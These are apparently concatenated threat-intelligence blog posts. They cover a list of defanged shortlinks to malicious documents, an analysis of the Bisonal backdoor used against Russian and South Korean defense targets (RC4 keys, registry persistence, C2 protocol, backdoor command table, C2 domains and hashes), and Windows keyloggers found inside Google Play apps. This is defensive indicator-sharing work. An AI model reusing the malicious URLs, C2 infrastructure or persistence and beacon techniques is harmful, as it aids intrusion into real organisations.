http://bit[.]ly/2HAwzmN3290293sadjokwwadjoW http://stevemike-fireforce[.]info/work/doc/12.doc
http://bit[.]ly/loadingasz http://0-day[.]us/img/doc/10.doc
http://bit[.]ly/ntissa2vFamys http://acorn-paper[.]com/images/locations/thumbnails/oc/m.doc
http://bit[.]ly/2IgzmRxEmasidE9kEjidlE http://panelonetwothree[.]ga/work/doc/3.doc
http://bit[.]ly/2JqmuWp http://stemtopx[.]com/work/doc/16.doc
http://bit[.]ly/load242HmFqZ6 http://panelonetwothree[.]ml/simon/exp/oc/mm.doc
http://bit[.]ly/2L17QGqloading http://panelonetwothree[.]ml/zico/doc/doc8/zxloading.doc
http://bit[.]ly/2MarX5t http://stemtopx[.]com/work/doc/9.doc
http://bit[.]ly/Loadingnix http://www.asaigoldenrice[.]com/daq/doc/3.doc
http://bit[.]ly/2HyVGGy_loading http://panelonetwothree[.]ml/iran/uae/done/oc1/uae.doc
http://bit[.]ly/2H8euros http://acorn-paper[.]com/administrator/components/com_templates/views/2.doc
http://bit[.]ly/2I2mUBFstthdhtrhdtyftfyj http://stevemikeforce[.]com/work/doc/8.doc
http://bit[.]ly/Loininding http://www.0-day[.]us/img/doc/8.doc
http://bit[.]ly/2F02ZRq http://stevemike-fireforce[.]info/work/doc/2.doc
http://bit[.]ly/Loadingpleasewait http://onedrivenet[.]xyz/work/docnew/19.doc
http://bit[.]ly/2jE36KjhvjhgkHJHKLHGFHJ http://stevemikeforce[.]com/work/doc/3.doc
http://bit[.]ly/Waitpleasewait http://stevemike-fireforce[.]info/work/doc/8.doc
http://bit[.]ly/Loiading http://fast-cargo[.]com/images/file/newvbs/doc/1.doc
http://bit[.]ly/Loadingplasewaitsm http://stevemike-fireforce[.]info/work/doc/3.doc
http://bit[.]ly/2jCTHCNasiudhasdASdy7656basdu http://stevemikeforce[.]com/work/doc/2.doc
http://bit[.]ly/loadingpleaswaitrr http://stevemike-fireforce[.]info/work/doc/4.doc
http://bit[.]ly/Loadingnsi http://onedrivenet[.]xyz/work/docnew/2.doc
http://bit[.]ly/2JRUNKh http://www.stemtopx[.]com/work/newdoc/3.doc
http://bit[.]ly/2Hload25YdU19 http://panelonetwothree[.]ml/simon/exp/oc/25/m25.doc
http://bit[.]ly/2lording http://fast-cargo[.]com/images/file/vb/VBS/doc/8.doc
http://bit[.]ly/2M9lLL6 http://stemtopx[.]com/work/doc/15.doc
http://bit[.]ly/Loggeding http://fast-cargo[.]com/images/file/newvbs/doc/4.doc
http://bit[.]ly/Loadingwaitplez http://stevemike-fireforce[.]info/work/doc/10.doc
http://bit[.]ly/ASDj23234j4oDj3234Sdmk http://stevemike-fireforce[.]info/work/doc/5.doc
http://bit[.]ly/2JloadingspWgLs2 http://acorn-paper[.]com/components/com_content/models/oc/s.doc
http://bit[.]ly/Loadingpleasewaitnn http://stevemike-fireforce[.]info/work/dola/4.doc
http://bit[.]ly/2sPe3wZrdtrdytd http://stemtopx[.]com/work/doc/2.doc
http://bit[.]ly/LAdooing http://onedrivenet[.]xyz/work/docnew/6.doc
http://bit[.]ly/LoadIng http://guelphupholstery[.]com/images/yupsia/doc/62.doc
http://bit[.]ly/2JnMVQz http://stemtopx[.]com/work/doc/14.doc
http://bit[.]ly/DocumentIsLoadingPleasewait http://stemtopx[.]com/work/i/2.doc
http://bit[.]ly/2HVD1Bh http://fast-cargo[.]com/images/file/vb/VBS/doc/4.doc
http://bit[.]ly/2uoqexc http://zupaservices[.]info/doc/1.doc
http://bit[.]ly/2vXgnqdASdj2929iqwSdu9iw9i http://stevemike-fireforce[.]info/work/doc/13.doc
http://bit[.]ly/4_loadingEwHlnA http://diamondfoxpanel[.]ml/doc/4.doc
http://bit[.]ly/lLoadingl9 http://fast-cargo[.]com/images/file/vb/VBS/doc/9.doc
http://bit[.]ly/LlLoadinG https://www.0-day[.]us/img/doc/2.doc
http://bit[.]ly/2kTPwmFdrwfdtsfdfyr http://stemtopx[.]com/work/doc/1.doc
http://bit[.]ly/2G34tww http://fast-cargo[.]com/old/images/file/vb/VBS/smon/doc/testa.doc
http://bit[.]ly/2HvQBir http://stevemike-fireforce[.]info/work/dola/3.doc
http://bit[.]ly/golden_uae http://fast-cargo[.]com/old/images/file/vb/VBS/smon/doc/xchange.doc
http://bit[.]ly/pele2HROHp1 http://acorn-paper[.]com/images/locations/thumbnails/z/oc/z.doc
http://bit[.]ly/2rlqLDBMSloading http://panelonetwothree[.]ml/iran/uae/done/oc2/uae.doc
http://bit[.]ly/2JDUVMC http://stemtopx[.]com/work/doc/11.doc
http://bit[.]ly/2K1GYVgtyfctftfTFTYFUFtufutfu http://stevemikeforce[.]com/work/doc/11.doc
http://bit[.]ly/2Jr4dby http://stemtopx[.]com/work/doc/18.doc
http://bit[.]ly/2M9I8z4 http://stemtopx[.]com/work/newdoc/2.doc
http://bit[.]ly/ASD8239ASdmkWi38AS http://stevemike-fireforce[.]info/work/dola/4.doc
http://bit[.]ly/LoadingPelasewaits http://stevemike-fireforce[.]info/work/docnew/2.doc
http://bit[.]ly/2JnNtG7 http://stemtopx[.]com/work/doc/17.doc
http://bit[.]ly/shawclk2HZJXOr http://panelonetwothree[.]ml/simon/exp/25exp/26/doc/final/26.doc
http://bit[.]ly/loadijgng http://onedrivenet[.]xyz/work/docnew/9.doc
http://bit[.]ly/PleaseWaitLoading http://www.asaigoldenrice[.]com/daq/doc/7.doc
http://bit[.]ly/Loadinger http://onedrivenet[.]xyz/work/docnew/1.doc
http://bit[.]ly/Workingwait http://onedrivenet[.]xyz/work/docnew/21.doc
http://bit[.]ly/Loadingplzwait http://www.asaigoldenrice[.]com/daq/doc/5.doc
http://bit[.]ly/2HuOFBQ http://stemtopx[.]com/work/doc/5.doc
http://bit[.]ly/LoadingPleasewait1 http://onedrivenet[.]xyz/work/docnew/20.doc
http://bit[.]ly/LlOrRinding http://www.0-day[.]us/img/doc/11.doc
http://bit[.]ly/Loadingwaitplzz http://onedrivenet[.]xyz/work/docnew/16.doc
http://bit[.]ly/2HWdrzTgfufuyfkCTYTDFYTgtfutf http://stevemikeforce[.]com/work/doc/12.doc
http://bit[.]ly/2KHEnRKxestrhdyhdDTDRDTRthdydy http://stevemikeforce[.]com/work/doc/10.doc
http://bit[.]ly/unkwonas http://asaigoldenrice[.]com/sim/new.vbs
http://bit[.]ly/Laodiingpleasewait http://onedrivenet[.]xyz/work/docnew/13.doc
http://bit[.]ly/wordxchange http://asaigoldenrice[.]com/sim/doc/kalu.doc
http://bit[.]ly/Loadsinfpleasewait http://onedrivenet[.]xyz/work/docnew/30.docx
http://bit[.]ly/Loardsing http://www.0-day[.]us/img/doc/7.doc
http://bit[.]ly/2ImbyrQ http://acorn-paper[.]com/administrator/6.doc
http://bit[.]ly/LoadingPleasewait http://onedrivenet[.]xyz/work/docnew/20.doc

Domains
For a list of domains encountered in use by malware throughout this campaign, please refer to the following file.

Hashes
For a list of all hashes of malware encountered during this campaign, please refer to the following file.

Bisonal Malware Used in Attacks Against Russia and South Korea

Posted on by Kaoru Hayashi

Summary
In early May, Unit 42 discovered an attack campaign against at least one defense company in Russia and one unidentified organization in South Korea delivering a variant of Bisonal malware. While not previously publicly documented, the variant has been in the wild since at least 2014. There are three primary differences between it and older Bisonal malware including a different cipher and encryption for C2 communication, and a large rewrite of the code for both network communication and maintaining persistence. To date, we have only collected 14 samples of this variant, indicating it may be sparingly used. The adversary behind these attacks lured the targets into launching the Microsoft Windows executable malware by masquerading it as a PDF file (using a fake PDF icon) and reusing publicly available data for the decoy PDF file’s contents.
Attacks using Bisonal have been blogged about in the past. In 2013, both COSEINC and FireEye revealed attacks using Bisonal against Japanese organizations . In October 2017, AhnLab published a report called “Operation Bitter Biscuit,” an attack campaign against South Korea, Japan, India and Russia using Bisonal and its successors, Bioazih and Dexbia. We believe it is likely these tools are being used by one group of attackers.
Though Bisonal malware has been in the wild for at least seven years and frequently updated, the actors keep using same high-level playbooks. Common features of attacks involving Bisonal include:

  • Usually targeting organizations related to government, military or defense industries in South Korea, Russia, and Japan.
  • In some cases, the use of Dynamic DNS (DDNS) for C2 servers.
  • The use of a target or campaign code with its C2 to track victim or attack campaign connections.
  • Disguising the Bisonal malware as a PDF, Microsoft Office Document or Excel file.
  • The use of a decoy file in addition to the malicious PE file
  • In some cases, code to handle Cyrillic characters on Russian-language operating systems.

We observed all these characteristics in the latest attacks against both Russia and South Korea.

Targeting Russia

While investigating attack campaigns, Unit 42 discovered a targeted attack against at least one organization in Russia which provides communication security services and products. The targeted organization specialises in encryption and cryptographic services and develops a broad number of secure communication products which also includes telecommunication systems and data protection facilities. Given the sensitivity of the products being developed by the target organization, it is not a surprise to see a targeted attack towards the organisation by a known threat actor.
Figure 1 shows the spear-phishing email sent to the target organization. The email was spoofed to look like it was sent from Rostec, a Russian state corporation that promotes the development, production and export of high-tech industrial products. The contents of the email suggest it was sent from the legal support and corporate governance department of Rostec and includes project details aimed at improving the housing conditions of defence industry workers. It is interesting to note there is a relationship between the target company and Rostec: the attackers may be trying to exploit the relationship between Rostec and the target to add an additional air of legitimacy to the attack.

Bisonal_1

Figure 1. Spear-phishing email sent to the Russian company

Below is the translation from Russian into English by Google Translate.
 
Subject:
A comprehensive project to create housing and construction cooperatives for defence workers
 
Body:
Good afternoon, dear colleagues!
By the May Day, I am sending you a comprehensive project aimed at improving the housing conditions of defence industry workers
Congratulations!
 
Attachment:
Comprehensive project for the creation of housing construction cooperatives for defence workers .exe

As you can see in Figure 1, some email clients do not display the attachment as the PDF. However, if you save the file on the computer, it looks like a PDF document because the executable file has the PDF icon in the resource.
Once the malicious executable attachment is opened, the main payload is dropped in the victim machine and displays a decoy file to the victim. Figure 2 shows the contents of the decoy file which is a PDF whose contents are an exact match to an article published on Rostec’s website on January 30th, 2018. The article discusses new housing project plans by Rostec and other state departments, and the benefits to the defence industry workers who are eligible for free housing under the project.

Bisonal_2

         Figure 2 Decoy pdf file

Upon further analysis of the malware payload, we determined it is part of the Bisonal malware family. Since the details of the malware family have already been published, we will discuss some of the unique indicators and techniques the threat actor behind Bisonal employed in this campaign.

Malware Analysis
Malware Dropper
The dropper executable file in the Russian attack hides the encrypted Bisonal DLL file and non-malicious decoy file at the end of its body. Once executed, the dropper decrypts the data blob using the RC4 cipher with the key, “34123412”, saves them in the path shown below and executes them.

Type PATH SHA256
Dropper EXE N/A b1da7e1963dc09c325ba3ea2442a54afea02929ec26477a1b120ae44368082f8
Bisonal DLL C:\Windows\Temp\pvcu.dll 1128D10347DD602ECD3228FAA389ADD11415BF6936E2328101311264547AFA75
Russian Decoy PDF C:\Windows\Temp\Комплексный проект по созданию жилищно-строительных кооперативов для работников оборонки.pdf F431E0BED6B4B7FFEF5E40B1B4B7078F2538F2B2DB2869D831DE5D7DF26EE6CD

Table 1. File hashes and paths targeting Russia

The dropper then creates following registry entry to execute the Bisonal sample when the computer reboots:
HKEY_CURRENT_USER \Software\Microsoft\Windows\CurrentVersion\Run\”vert” = “rundll32.exe c:\windows\temp\pvcu.dll , Qszdez”

Bisonal main module
The DLL (pvcu.dll) is Bisonal malware but using a different cipher for C2 communication that other publicly documented samples. Booz Allen Hamilton in 2014 and AhnLab in 2015 reported on Bisonal using a simple XOR cipher to hide the C2 address strings in the body. The Bisonal sample we observed in this case employs the RC4 cipher with the key “78563412”. To date, all Bisonal samples we have seen using RC4 use this same key. The oldest sample we have dates to 2014, so this variant has been in the wild for several years.
Adding to the change in encryption type, a large part of the code such as network communication procedures, and the persistence method have been re-written. For example, the Bisonal malware in 2012 used send() and recv() APIs to communicate with its C2. For this variant, the developer wholly recreated C2 code from scratch by using other network APIs, such as HttpSendRequest() and InternetReadFile().
This Bisonal variant used in the latest attack communicates with one of the following hard-coded C2 addresses by using the HTTP POST method on TCP port 443.

  • kted56erhg.dynssl[.]com
  • euiro8966.organiccrap[.]com

These domains are provided by a free DDNS service and both resolve to the same IP address, 116.193.155[.]38.
When this Bisonal variant communicates with its C2, the malware sends an HTTP POST request with the static strings “ks8d” and “akspbu.txt”, and the IP address of the compromised machine. Figure 3 shows the initial HTTP POST request to the C2 server.

Bisonal_3

Figure 3. Initial network C2 beacon

Readers may notice the missing closing parenthesis in the User Agent request header. That string is hardcoded in this malware variant. We have more than 230 samples of Bisonal in total and only 14 samples since 2014 use this incomplete User Agent string. It is unclear whether the author forgot to add closing parenthesis while developing the code, or intentionally use this string for validating the connection to the C2 server. Either way, it can be a good Indicator in network logs for a possible Bisonal infection.

C2 Communication
Another sign of the infection is the data being sent to the C2 server during the initial connection. Every time this variant of Bisonal communicates with its C2, it sends a unique id number and backdoor command in the first eight bytes. The malware sends hardcoded DWORD values (0x10000 and 0x3E7) just for the initial connection and receives updated values from the C2 and uses them for further communication. As described above, all communications between this Bisonal variant and C2 are encrypted by RC4 cipher with the static key “78563412”. As the result of enciphering static values, the backdoor always sends identical eight bytes of data (81b2a8977ea31b91) to the C2 first.
Soon after receiving the initial beacon from the victim infected with Bisonal, the C2 replies with a session id number and backdoor command. The session id number is consistent throughout the C2 communication. The malware then processes the given command on the compromised system and sends the result back to C2 with the session id number and the backdoor command number. Then the C2 replies with that same session id number. The backdoor waits five seconds and restarts communication with the C2 with the same session id number.
Below is an example of the reply to the command, “get system info”. The actual traffic between the C2 and Bisonal sample is on the left side, and the decrypted payload is on the right side. The first DWORD (four bytes) is the given session id, 0x00000003, and the next DWORD is a backdoor command, 0x000000C8. At offset 8 of the decrypted payload, there is a campaign or target code. In this sample, it is “0425god”.
Bisonal_4

Figure 4 Decrypted payload showing the target/campaign code

Following is the diagram of the session between Bisonal and C2.
Bisonal_5

Figure 5. Bisonal C2 communication flow

The following table shows the list of backdoor commands this sample supports.

Command Meaning
0x000000C8 gets system info
0x000000C9 gets running process list
0x000000CA terminates process
0x000000CB accesses cmd shell
0x000000CD downloads file
0x000000CF executes file
0x000000D1 creates file


Table 2 Backdoor commands

Strong Interests in Cyrillic
Previous reports have discussed Bisonal malware used in attacks against Japan, South Korea and Russia. This particular sample we found targeted an organization in Russia and there is a specific system language check for Cyrillic and no others. When the backdoor receives the shell access command, it checks the code page of the compromised system. If it’s Cyrillic and the command to the shell is not ‘ipconfig’, the threat converts the command result text encoding from Cyrillic to UTF-16. For any other code page the malware presumes the resulting text as default Windows ANSI code page and also converts it to UTF-16. It is not known why the malware author called out Cyrillic specifically when the malware would convert any text to UTF-16. Windows ANSI code pages supports ASCII characters and non-ASCII values as the international characters depends on the OS language. UTF-16 can support maximum 1 million characters in Unicode. To avoid corrupting Cyrillic (and other language) characters in the results, the developer added the code to the malware.

Bisonal_6

Figure 6. Checking of Cyrillic character set

This Cyrillic/ipconfig checks in the ‘shell access’ backdoor command exists in some original Bisonal samples found in 2012. The sample (43459f5117bee7b49f2cee7ce934471e01fb2aa2856f230943460e14e19183a6) contains the marker string “bisonal” which is the origin of the malware name. This is one of the many reasons we strongly believe the latest samples are variants of Bisonal.
Bisonal_7

Figure 7. 'bisonal' marker string

Targeting South Korea
While investigating other Bisonal samples we found another dropper submitted to an online malware database on March 6. The original file name was “2018년 해양경찰청 공무원 (7급 9급) (2018.03.05).pdf.exe”. This translates to “2018 Korean Coast Guard Government Employee (Grade 7, Grade 9).pdf.exe” in English. Similar to the Bisonal variant targeting the Russian organization, this sample was also disguised as PDF document.
Bisonal_8

Figure 8. Malware disguised as PDF

The dropper executable installs Bisonal and a decoy file in the paths shown in Table 3, below.

Type PATH SHA256
Dropper EXE N/A 0641fe04713fbdad272a6f8e9b44631b7554dfd1e1332a8afa767d845a90b3fa
Bisonal EXE %Temp%\[random].tmp 359835C4A9DBE2D95E483464659744409E877CB6F5D791DAA33FD601A01376FC
Korean Decoy PDF [dropper path]\[same file name without .exe].pdf B2B764597D097FCB93C5B11CBD864AB1BCB894A2A1E2D2DE1C469880F612431C

Table 3, File hashes and system installation paths targeting South Korea

Though the functionality of the two dropper samples look very similar, the dropper code of this sample is completely different from the Russian targeting sample described above.

  • The dropper installs the Bisonal EXE file and decoy PDF file. These files are not encrypted and the offset to the EXE and PDF file in the dropper is appended at the end of the dropper file. In the Russian samples, the offset to these files is hardcoded in the code.
  • The file name of the decoy file is based on the dropper file name. The dropper code creates a PDF at the same directory, give the same name with itself to the decoy file, removes .exe and adds .pdf in the code. For example, if the file name is ABCDEFG.pdf.exe, the decoy filename would be pdf.pdf.
  • The dropper also creates two VBS scripts in the %Temp% directory with a random 4 digits hexadecimal name. One of them opens the decoy PDF file. The other deletes the dropper and the VBS script itself.

The contents of the decoy PDF is a job descriptions with the South Korean Coast Guard. The original document was a Hangul Word Processor(HWP) file posted on the South Korean Coast Guard website on March 5, 2018. Based on the metadata we found in the PDF, we strongly believe that the attacker converted the HWP to PDF. Figure 8, below, shows metadata added to the decoy file when converting the original file to PDF. The metadata indicates that the file was created with Adobe Distiller 8.00 (Windows) on March 6 by  “조영태” (Cho Young Tae in English).
Interestingly, the same creator name is found in the decoy PDF file of another sample of the Bisonal variant (dfa1ad6083aa06b82edfa672925bb78c16d4e8cb2510cbe18ea1cf598e7f2722) submitted to an online malware database in September 2014. This decoy is a contact list of Agriculture, Food, Rural Affairs, Oceans and Fisheries Committee of the National Assembly of the Republic of Korea. According to the metadata, this file is also converted from an HWP document with same tool by same creator. Though we don’t know whether the creator is real or fake information, we can say the attacker has not changed this tool and technique for years.

Bisonal_9

Figure 8. Metadata in the decoy file

Main EXE
The installed EXE file is almost exactly the same as the DLL version of Bisonal variant used against the Russian organization. Following is a brief write-up of the Bisonal EXE’s behavior. There are only three differences from the DLL sample; creating a registry entry by itself, the C2 domain and the target or campaign code. The EXE’s behavior is discussed below.

  • It creates the registry entry, HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\”mismyou” = %Temp%[random].tmp to achieve persistence. In contrast, the DLL version does not create a registry entry because the dropper of the DLL does.
  • It decrypts the C2 domain address by using the RC4 cipher with the same key “78563412”.
  • It connects to hxxp://games.my-homeip[.]com:443/ks8d[ip address]akspbu.txt by using the HTTP POST method with the same incomplete User Agent string “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322”
  • It sends the same initial beacon value of 81b2a8977ea31b91 to the C2 server.
  • It uses a different target or campaign code, “pmo”.
  • It has same backdoor commands, starting with 0x000000C8 in hex.
  • It also checks the code page and command in “shell access” and converts text from Cyrillic to UTF-16.

Following table is the summary of the Bisonal samples described in this article.

Year Target Country Campaign or Target Code SHA256 Cipher Bisonal Marker Cyrillic/
ipconfig check		 C2
2012 unidentified 1031 43459f5117bee7b49f2cee7ce934471e01fb2aa2856f230943460e14e19183a6 XOR YES YES jennifer998.lookin[.]at, 196.44.49[.]154
2014 South Korea 0919-1 dfa1ad6083aa06b82edfa672925bb78c16d4e8cb2510cbe18ea1cf598e7f2722 RC4 NO YES www.hosting.tempors.com
2018 Russia 0425god 1128D10347DD602ECD3228FAA389ADD11415BF6936E2328101311264547AFA75 RC4 NO YES kted56erhg.dynssl[.]com, euiro8966.organiccrap[.]com
2018 South Korea pmo 359835C4A9DBE2D95E483464659744409E877CB6F5D791DAA33FD601A01376FC RC4 NO YES games.my-homeip[.]com

Table 4 Summary of the Bisonal samples in this blog

Conclusion
The attackers behind Bisonal have been active for at least 7 years, and the variant used against the Russian and South Korean targets discussed in this blog in the wild since 2014. Since the attackers frequently rewrite functions from scratch and avoid reusing infrastructures, some samples look very different from original Bisonal malware. However, as we discussed in this blog, the same original piece of code referencing the malware name "bisonal" remains in at least some samples.
We are still investigating the connection between the latest attacks discussed in this blog and the previous Bisonal attacks reported by industry colleagues. The high-level TTPs of the adversary behind these Bisonal samples matches with previous Bisonal activity. The targets are military or defense industry in particular countries, it used DDNS for C2 servers, and tracked connections from their victims by using target or campaign codes, as well as disguising the malware as document file, and using a dropper to install the malware and decoy file. We currently believe one group is behind these attacks, and we continue to investigate.
Palo Alto Networks customers are protected from this threat by:

  • WildFire detects all Bisonal files with malicious verdicts
  • AutoFocus customers can track these samples with the Bisonal tag
  • Traps blocks all of the files associated with Bisonal

IoC
Dropper SHA256:
B1DA7E1963DC09C325BA3EA2442A54AFEA02929EC26477A1B120AE44368082F8
0641FE04713FBDAD272A6F8E9B44631B7554DFD1E1332A8AFA767D845A90B3FA

Bisonal SHA256:
43459F5117BEE7B49F2CEE7CE934471E01FB2AA2856F230943460E14E19183A6
DFA1AD6083AA06B82EDFA672925BB78C16D4E8CB2510CBE18EA1CF598E7F2722
1128D10347DD602ECD3228FAA389ADD11415BF6936E2328101311264547AFA75
359835C4A9DBE2D95E483464659744409E877CB6F5D791DAA33FD601A01376FC

C2:
jennifer998.lookin[.]at
196.44.49[.]154
www.hosting.tempors[.]com
kted56erhg.dynssl[.]com
euiro8966.organiccrap[.]com
116.193.155[.]38
games.my-homeip[.]com

Hidden Devil in the Development Life Cycle: Google Play Apps Infected with Windows Executable Files

Posted on by Yue Chen

Last year, Unit 42 reported a number of Google play apps infected with malicious IFrames in this report. Recently, we found similar cases on Google Play. However, this time, there are 145 Google Play apps infected by malicious Microsoft Windows executable files instead of malicious IFrames. We have reported our findings to Google Security Team and all infected apps have been removed from Google Play.
Notably, the infected APK files do not pose any threat to Android devices, as these embedded Windows executable binaries can only run on Windows systems: they are inert and ineffective on the Android platform. The fact that these APK files are infected indicates that the developers are creating the software on compromised Windows systems that are infected with malware. This type of infection is a threat to the software supply chain, as compromising software developers has proven to be an effective tactic for wide scale attacks. Examples include, KeRanger, XcodeGhost, and  NotPetya.
Most of the infected apps were released to Google Play between October 2017 and November 2017, which means these apps have been in Google Play for more than half a year. Among these infected apps, several have more than 1,000 installations and 4-star ratings.
Google play_1

Figure 1: An infected app with 1000+ downloads and 4.0 rating

Interestingly, we saw a mixture of infected and non-infected apps from the same developers. We believe the reason might be that developers used different development environment for different apps.
Some of the infected apps include “Learn to Draw Clothing”, an app teaching people how to draw and design clothing; “Modification Trail”, an app showing images of trail bike modification ideas; “Gymnastics Training Tutorial”, an app letting people find healthy ideas for gymnastic moves.
 
Google play_2

Figure 2: Apps from one developer (marked) are infected with Windows keylogger

Among these infected apps, one APK file may contain multiple malicious PE files at different locations, with different file names. However, there are mainly two PE files embedded across all of the infected apps.
According to the analysis results from WildFire, one PE file has infected 142 APK files including those apps on Google Play.  The second PE file infected 21 APK files. 15 APK samples of them have both PE files mentioned above inside. Among these infected APK bundles, we found a number of other malicious PE files inside. These developers’ machines may be seriously infected by various malware families.
After investigating all those malicious PE files, we found that there is one PE file which infects most of the Android apps, and the malicious activity of that PE file is key logging.  On a Windows system, this key logger attempts to log keystrokes, which can include sensitive information like credit card numbers, social security numbers and passwords. Besides, these files fake their names to make their appearance look legitimate. Such names include “Android.exe”, “my music.exe”, “COPY_DOKKEP.exe”, “js.exe”, “gallery.exe”, “images.exe”, “msn.exe” and “css.exe”.­
During Palo Alto Networks’ WildFire analysis, the malicious PE files have the following suspicious activities when executed on a Windows system:

  • Creates executable and hidden files in Windows system folders, including copying itself
  • Changes Windows registry to auto-start themselves after restarting
  • Attempts to sleep for a long period
  • Has suspicious network connection activities to IP address 87.98.185.184 via port 8829

 
Potential Damage and Mitigation
The malicious PE files cannot directly run on the Android hosts. However, if the APK file is unpacked on a Windows machine and the PE files are accidentally executed, or the developers also issue Windows-based software, or if the developers are infected with malicious files runnable on Android platforms, the situation will go much worse.
Customers of Palo Alto Networks are protected by our WildFire and Traps for Android. WildFire is able to automatically detect these infected apps. Traps for Android protects Android devices, it automatically intercepts malicious apps installed on the device by leveraging WildFire and protect the device from malicious apps by blocking the app and notifying the user.
The development environment is a critical part of the software development life cycle. We should always try to secure it first. Otherwise other security countermeasures could just be attempts in vain.
 
Acknowledgements
We would like to thank Ryan Olson from Palo Alto Networks for their assistance during the analysis.
 
Appendix
PE files found in the infected apps:
 
9af18bd1bc68e0f49f8935a8cf662729cc1cec773f0237188762cebe75d48521
bdfabde9e45693a218e0391005f32e3546dedd0bc757cea2012ad42afdbe2f06
cadee0451947759cae1c94545ca910486e504c6544f6e60ba0a176b31df44abf
11ada55cc9dfcbafe969510b0711b110a8991b5deca2f296b895969958a66559
138f338653c82b86ea94829058a0e0bc18940903f6d7a01a7f0c2ba47f68e7e2
99074b45b20f794c35b72dbd6af2380497b8b482814822d88ca9c1c5cf83a400
57b345f635bf77f5b0da01248a1b798cbd8deb2c66306303ca595f3ccfaa8fbe
e355275030efa1ddb8bc233095c189a9cc6586ba241a1c4b7a9fe1875945bbf7
355c640a0cd3793f0e6ed96dd8175afe32d6bae7a8f8d1f1496167e5f2191195
88bdf6e443300988e160204778d859fb5a0dca775876ff8b079a4eb886ad4372
78c91a6071e73e7b0ebd10ff7a4a62d3412fe0f281e4ac064eeedbf707b15b22
524c780f3f35c5c9dd1bd935affe312f89ff851d51f9df21e78730134d4e7c50
cb09e6e28e2e0e3c031d99cb122ca767a23ecea1a2e98cb6d8bcf6ff7e61151e
b0442ad97086c4850133dcc72746f877cbbdb0b037374e598e231f8728dcda0c
07b07b74743364451876dca12531cdd515feff6264745be49add094388537685
edfadee37e5dd0e045d211ba9b09c2ac0f267790ac4ef8d7f9beced25d94c1fc
493d95c5222a86d581110d7c38b62a4e2015bf782ddac04c5a7e576a0955a727
5889a05fc1f161fe23ec9e3dfeb35ac225621f3c5c7019df7afa14aefdb96235
78f936fd6a8cabc39c727976ab9c2c6ceeb5be690186e2a729f59adaad7b3f4c
7268ea040b7ca1ab79d3f1eac279cf4cbc072c706b70672eba8d84387f76b3bf
688d39cfa1f581e841a896963b83081960844cdf06d3c71e7eab2746e498d5b1
df74876a564d38bf8fd3275fd0a429ee74c3f67b2e78f59d97c2ec8a7143bd9a
 
The following infected APK files were found on Google Play.
 

SHA256 App Name Package Name
1896ed8d12f5a7c3046acd929e64cc97e8acb020e40c1b3a2001b30003f50883 Baby Room com.KamarBaYi.odieapps
290b7f930361d06e8f8c93aa9f97405d6b4b9fef7f9ac13c3c73c8966cf0e83a Motor Trail com.MotorTraiL.odieapps
b2fec79084611ad8abed3354399b2e759e903ec15976b9d10ac05e548964a1e9 Tattoo Name com.TatToNaMa.odieapps
b828b870a317693a0ae0544b9d0ffddcf6442da4d1979f6f8ccafcbe5c96d1e3 Car garage coml.GaRaSiMobiL.odieapps
86661a4a611484f8db2593bfae241db9b53274a1736ec668335f878ed24795e4 Japanese Garden com.TaMaNJapanG.odieapps
79e77835c9690ca0bc6d376659dd15f50e396bbc573fcc7293d458d8002f6a60 Koi fish com.IkanKoI.odieapps
91bb8594e118338f38de22e96e89cc5e11d619da3ec3dc0ecada13720111a588 House Terrace com.TeRaSRumaH.odieapps
c41a8edaa85344e48a75843447358ea7a092fe1061bca79ac535abf467112eda Skirt Design com.DesainRokK.odieapps
52d9df500ae7684d58c2bf65fb6852da1440e79b07a049f72585ccf8665e9d64 Yoga Meditation com.MeditasiYoga.odieapps
21fce35139cfdf1145855987b6e3306adf26c3b60ba59b1c364a3d7d44bc5285 Shoe rack com.RaKSepatU.odieapps
4739a7d1317fee0a7a885a00468d9749bb7da5c5f1696408deaa736fa2aab6e9 Unique T-shirt com.KaoSUniK.odieapps
bc49cec1896f7f4542ff8712da8475bf5e55abe7558918c260492467eb03ef6f Mens Shoes com.SepatuPriA.odieapps
7345975ca29d16e3b55309e84f6249990878482ed55e597269fdd0cb77a290ff TV RuanG TaMu com.TVRuanGTaMu.odieapps
ecb04d5359949bfbbc64fd7bedd8fde3a5b9703784fea8d758a3a643117165b0 Idea Glasses com.IdeaKacamata.odieapps
a21f4e9536dcbcd810fbfcdff8f6cce5b6338f1d5df7ba45abd1a5f4ed8dca76 Fashion Muslim com.FashioNMusLiM.odieapps
41386181f9e7dc8085d6a117607cd79346744d925e5d2ca67759742fbac47e51 Bracelet com.GelangTut.odieapps
fceda65ea8624af018c072c60ed5fcb8b6bb00832fb63559e819463d2ba9db4e Clothing Drawing com.BusanaMenggambar.odieapps
c5b24cf5d348a6fe3ad543f70379c7d9fa60a8e9bac03d6ea387fcdbcbbca932 Minimalist Kitchen com.DapuRMiniMaLis.odieapps
c36e7566e2e92898162006b9922d9d8f450867224b67d2346f70d7e76b1cbae6 Nail Art com.SeNiKuKu.odieapps
0039f9b2faac6146bddc2831fdfa6a03327f77d3954a1a27ab66e6b0b5952a3a Ice cream stick com.StikEzKriM.odieapps
a8687cb35ee453958dc1757608505f3c5a7f137909f517acb7a850316d0e87b4 Roof com.AtapRumaH.odieapps
7da49a0122444b2087a582d142c82375541544fd765f29b9b3f7728e598b54e0 Children Clothes com.BusanaAnaK.odieapps
7312c5ba59f89350b13fe93107233a06c79a68eedff0eb082ef7a5f24bec76e2 Home Ceiling com.PlaFoNRumaH.odieapps
bf00efc96cf3ecdd3069afbbfae53aeb79910848721fe50d64410760790f1a27 PoLa BaJu com.PoLaBaJU.odieapps
892f883d3588ee952888cccb4bb9bb33092f1be924d981e69595a758daca8c86 Living room com.RuanGTaMu.odieapps
5a1693d255e5f487214fd1cd46c0cff8d5375903459c7f87ae17f636fa470e32 Bookshelf com.RakBuKu.odieapps
906cd586d8f7388c1fbb0581b926aa4b2dc5534d460cc3ba011198d26a1dfe16 Knitted Baby com.RajutanBayI.odieapps
96bd87c8bd8772b1f11b3e4771889b4d2d81739cd2ef7494a3ff54fc28e711f6 Hair Paint com.CaTRambuT.odieapps
54380fa8c12f6333a22fd0c728e615e92470565e96c7b39ae2f1d7e30584fc31 Wall Decoration com.DekoraSiDinding.odieapps
b6671808dbc226c11697c54d000b6a30213478c141d96aa4c3d52fa5243cff16 Painting Mahendi com.MelukisMehndi.odieapps
525c515e3e8c0d6007ab79f05a64c42951b440db4ab12f397218efa9692faa84 Bodybuilder com.Binaragawan.odieapps
